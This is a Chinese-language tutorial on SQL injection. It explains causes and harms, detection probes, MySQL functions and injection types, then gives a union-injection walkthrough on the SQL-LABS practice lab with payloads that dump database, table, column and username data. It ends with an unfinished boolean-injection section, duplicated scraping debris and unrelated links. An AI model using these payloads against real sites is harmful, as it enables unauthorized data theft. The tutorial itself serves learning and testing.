SQL注入(持续更新中)
文章目录
- SQL注入漏洞简介:
- SQL注入漏洞产生原理:
- SQL注入漏洞利用条件:
- SQL注入漏洞危害:
- SQL注入过程:
- SQL注入判断:
- 常查询变量:
- SQL注入常用函数:
- 常用数据库&表&字段:
- 注入类型:
- SQL注入手法:
- union注入:
- 关键:
- 注入流程说明:
- 布尔注入:
SQL注入漏洞简介:
- SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
SQL注入漏洞产生原理:
- SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,发生SQL注入攻击。
SQL注入漏洞利用条件:
- 参数可控:从前端传给后端的参数内容是用户可以控制的
- 参数带入数据库查询:传入的参数拼接到 SQL 语句,且带入数据库查询。
SQL注入漏洞危害:
- 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
- 网页篡改:通过操作数据库对特定网页进行篡改。
- 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
- 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
- 服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
- 破坏硬盘数据,瘫痪全系统。
SQL注入过程:
- SQL注入点探测。探测SQL注入点是关键的一步,通过适当的分析应用程序,可以判断什么地方存在SQL注入点。
- 收集后台数据库信息。不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断一下数据库的类型。
- 猜解用户名和密码。数据库中的表和字段命名一般都是有规律的。通过构造特殊SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。
- 查找Web后台管理入口。WEB后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具(如:wwwscan、AWVS)快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。
- 入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。
SQL注入判断:
# 数字型
?id=1 and 1=1 #返回正常
?id=1 and 1=2 #返回异常
#结果:分别返回不同的页面,说明存在注入漏洞.
#分析:and 的意思是“和”如果没有过滤我们的语句,and 1=1就会被代入SQL查询语句进行查询,如果and前后的两条语句都是真的话就不会出错,但如果前后语句有一个为假的话,程序就会暴错。也就表明程序有注入漏洞?id=1 or 2>1 #返回异常
?id=1 or 1>2 #返回正常
#结果:分别返回不同的页面,说明存在注入漏洞.
#分析:or注入只要求前后两个语句只要有一个正确就为真,如果前后两个语句都是正确的,反而为假。
#记住:or注入时,or后面的语句如果是正确的,则返回错误页面!如果是错误,则返回正确页面,说明存在注入点。# 字符型
?id=1' #返回异常
?id=1' and '1'='1' #返回正常
?id=1' and '1'='2' #返回异常
?id=1' and '1'='1 #返回正常
?id=1' and '1'='2 #返回异常
常查询变量:
变量 | 返回结果 |
---|---|
database() | 数据库名 |
version() | 数据库版本号 |
user() | 数据库当前用户名 |
@@basedir | 数据库安装路径 |
@@version_compile_os | 数据库操作系统 |
SQL注入常用函数:
函数名称 | 作用 |
---|---|
group_concat(a) | 将 a 内容的查询结果组成一个字符串 |
load_file(a) | 读取 a 文件并将文件按字符串返回 |
length(a) | 返回 a 的长度 |
like ‘a’ | 判断 ‘a’ 或 ‘a*’ 是否成立 |
regexp ‘^a’ | 判断 ‘a’ 或 ‘a*’ 是否成立 |
left(a,b) | 从左侧截取 a 的前 b 位 |
mid(a,b,c) | 从 b 位置开始,截取 a 字符串的 c 位 |
substr(a,b,c) | 从 b 位置开始,截取 a 字符串的 c 位 |
ord(a) | 返回 a 的 SACII 值 |
sacii(a) | 返回 a 的 SACII 值 |
if(a,b,c) | 判断条件 a 是否符合,符合则返回 b ,反之则返回 c |
sleep(a) | SQL延迟 a 秒 |
常用数据库&表&字段:
数据库 . 表 . 字段 | 说明 |
---|---|
information_schema.SCHEMATA.SCHEMA_NAME | 该字段提供当前 Mysql 中所有数据库名称 |
information_schema.TABLES.TABLE_NAME | 该字段提供当前 Mysql 中所有表名称(注:该表 TABLE_SCHEMA 字段提供该表所对应的数据库名称) |
information_schema.COLUMNS.COLUMN_NAME | 该字段提供当前 Mysql 中所有字段名称(注:该表 TABLE_SCHEMA 字段提供该字段所对应的数据库名称,TABLE_NAME 字段提供该字段所对应的表名称) |
注入类型:
注入类型 | 条件 | 关键 |
---|---|---|
union注入 | 显示查询结果 | order by , union select |
布尔注入 | 只返回False或者True | length、ord函数、二分法 |
报错注入 | 返回错误信息 | updatexml、group_concat等函数 |
时间盲注 | 无返回信息判断可执行sleep | sleep、if等函数 |
宽字节注入 | 数据库为GBK编码、使用了addslashes函数转义 | %df’可以吃掉单引号 |
堆叠注入 | 执行多条查询语句 | 使用分号分隔多条查询语句 |
Cookie注入 | 在请求头中cookie参数异常 | 可用 sqlmap -r cook.txt - p 参数 |
base64注入 | 有base64编码过的参数 | 将payload进行base64编码,可用tamper |
XFF注入 | PHP中有getenv函数获取环境配置 | x-forward-for、http_client_ip等请求头参数 |
二次注入 | 用户注册功能等 | 在注册中插入恶意代码,在登录中执行 |
SQL注入手法:
union注入:
关键:
语句 | 说明 |
---|---|
union | UNION 操作符用于合并两个或多个 SELECT 语句的结果集。(注:UNION 内部的每个 SELECT 语句必须拥有相同数量的列。) |
order by | ORDER BY 关键字用于对结果集按照一个列或者多个列进行排序。 |
注入流程说明:
案例:SQL-LABS less-02
注:此为正常访问页面
判断注入
?id=1 and 1=1 #返回正常 ?id=1 and 1=2 #返回异常 #结果:分别返回不同的页面,说明存在注入漏洞.
注:从返回结果上来判断,此 URL 存在注入猜解字段数量
?id=1 order by <int数值> #<int数值>代表字段数量,<int数值>小于或等于正确字段数回显正常,<int数值>大于正确字段数回显异常
注:从返回结果上来判断因存在三个字段说明:order by 3 的意思是以第三个字段排序,order by 4 就是以第四个字段排序,因为第不存在第四个字段所有报错,从而得出只有三个字段
联合查询猜解回显字段位置
?id=-1 union select 1,2,3 #假使有回显的是当前表的第二个,那么网页将把第二个字段回显的数据改为 2
注:由此可以,回显的位置在 2 和 3 的位置上说明:当联合查询 1,2,3 的时候会将原来的表跟 1,2,3 拼接,当判断 id=-1 不存在时,会将 1,2,3 输出到页面当中的特定位置
联合查询收集数据库信息
# 获取当前数据库名称 ?id=-1 union select 1,database(),3
# 获取当前数据库版本 ?id=-1 union select 1,version(),3
# 获取当前数据库用户名 ?id=-1 union select 1,user(),3
# 获取当前数据库安装路径 ?id=-1 union select 1,@@basedir,3
# 获取当前数据库操作系统 ?id=-1 union select 1,@@version_compile_os,3
# 获取当前 Mysql 所有数据库名 ?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
联合查询猜解表名
# 获取当前数据库所有表名 ?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
联合查询猜解字段名
# 获取 security 数据库 users 表的所有字段名 ?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'
联合查询猜解字段数据
# 获取 security 数据库 users 表 username 字段的所有数据 ?id=-1 union select 1,group_concat(username),3 from security.users
布尔注入:
案例:SQL-LABS less-05
注:此为正常访问页面
判断注入
# 根据 union注入 或 SQL注入判断 手法进行判断
猜解收集数据库信息
猜解数据库名
猜解表名
猜解字段名
猜解字段数据
y.users
[外链图片转存中...(img-8fN5jIIA-1664179564572)]### 布尔注入:案例:SQL-LABS less-05[外链图片转存中...(img-uqxJDKWP-1664179564572)]注:此为正常访问页面1. 判断注入```sql
# 根据 union注入 或 SQL注入判断 手法进行判断
猜解收集数据库信息
猜解数据库名
猜解表名
猜解字段名
猜解字段数据
SQL注入(持续更新中)相关推荐
- db2dual_DB2常用SQL的写法(持续更新中...)
DB2常用SQL的写法(持续更新中...) -- Author: lavasoft -- Date : 2006-12-14 -- 创建一个自定义单值类型 create distinct typ ...
- psid mysql_DB2常用SQL的写法(持续更新中...)
DB2常用SQL的写法(持续更新中...) -- Author: lavasoft -- Date : 2006-12-14 -- 创建一个自定义单值类型 create distinct typ ...
- 数据库SQL语言学习--数据查询(持续更新中)
数据库SQL语言学习--数据查询(持续更新中) 上机练习1 1. 启动SQL Server 2008中的 SQL Server Management Studio. 2. ...
- 数据库SQL语言学习--上机练习2(连接查询 嵌套查询)(持续更新中)
数据库SQL语言学习--上机练习2(连接查询 嵌套查询)(持续更新中) 上机练习2 1. 启动SQL Server 2008中的 SQL Server Management ...
- 数据库SQL语言学习--上机练习4(视图)(持续更新中)
数据库SQL语言学习--上机练习4(视图)(持续更新中) 上机练习4 一.实验目的 1. 熟悉和掌握对数据表中视图的查询操作和 SQL 命令的使用: 2. 熟悉和掌握对数据表中视图的更新操作和 SQL ...
- JAVA面试大全(持续更新中...)
本文旨在收集Java面试过程中出现的问题,力求全面,仅作学习交流,欢迎补充,持续更新中-,部分段落选取自网上,部分引用文章已标注,部分已记不清了,如侵权,联系本人 Java基础 1.面向对象的概述 面 ...
- 面试JAVA常被问到的问题(持续更新中)
引言 有的面试会被问到有没有写博客,这时候我尴尬,不知道怎么回答,所以这篇文章仅仅是把我面试JAVA的遇到的问题记录下来而已,也算是我写博客迈出的第一步,起码,以后被问到:有没有写博客?我可以回答,我 ...
- 面试1:Java、微服务、架构常见面试题(持续更新中)
Java.微服务.架构常见面试题(持续更新中) 文章目录 Java.微服务.架构常见面试题(持续更新中) ==**Java**== 1.Java概述 (1)JVM.JRE和JDK (2)Java特点 ...
- 我学习 Java 的历程和体会(写给新手看,欢迎老司机批评和建议,持续更新中)
我学习 Java 的历程和体会(写给新手看,欢迎老司机批评和建议,持续更新中) 最初写这篇文章的时候,是在今年的 9 月中旬.今天,我想再写写这将近两个多月以来的感受. 在今年的 10 月我来到北京求 ...
- 2、线程池篇 - 从理论基础到具体代码示例讲解(持续更新中......)
前言 暂无. 一.线程篇 有关线程部分的知识整理请看我下面这篇博客: 1.线程篇 - 从理论到具体代码案例最全线程知识点梳理(持续更新中-) 二.线程池基础知识 线程池优点 他的主要特点为: 线程复用 ...
最新文章
- opencv改变imshow窗口大小,窗口位置,ROI
- Null reference pointer was passed to the stub when not debugging with IE
- 【趋势】吴军:未来机器将会控制98%的人
- ABAP document read logic
- 深度学习-tensorflow1.x之交叉熵损失函数(softmax_cross_entropy_with_logits)代码实现 Tensorflow1.x 和 Numpy
- Netty架构与原理详解
- 电脑dns_女生也能学会的修电脑技巧
- 键盘定位板图纸_罗技K750 SOLAR太阳能无线键盘评测
- PS 如何去掉图片中的水印
- 关于Maven的7个问题
- 高级项目管理师/高项考试十大管理论文模板
- 新网站收录及备忘录网址
- QThread之重写run() 实现线程与业务解耦
- SGM—代价聚合学习笔记
- CAD中如何等分线段?CAD等分线段教程
- c语言人名首字母大写,关于字符串:如何在C中大写名字和姓氏的首字母?
- Pandas快速合并多张excel表格
- 给合肥市社保局和社保明细打印系统提一提改进建议
- C/C++ 自制一个基于zlib的文件的(解)压缩系统
- 将python脚本打包为exe可执行文件
热门文章
- 宗地图绘制要求和规范_国内土地市场宗地图的绘制标准制图规范-【领仕网】...
- 为什么非零实对称矩阵一定是正定矩阵
- 如何搭建一个简单的QQ机器人(基于mirai)
- ARINC429数据总线简介
- python实现A星算法(寻路)
- google四件套之Dagger2。从入门到爱不释手,之:Dagger2基础知识及在Java中使用(2)
- 谷歌地图高精度模型提取4(完结篇)
- 刷入Magisk通用方法
- 剪映怎么把无字幕的英文视频翻译成制作成中文字幕?(附教程+剪映字幕翻译工具免费下载)...
- 自然语言处理技术发展简史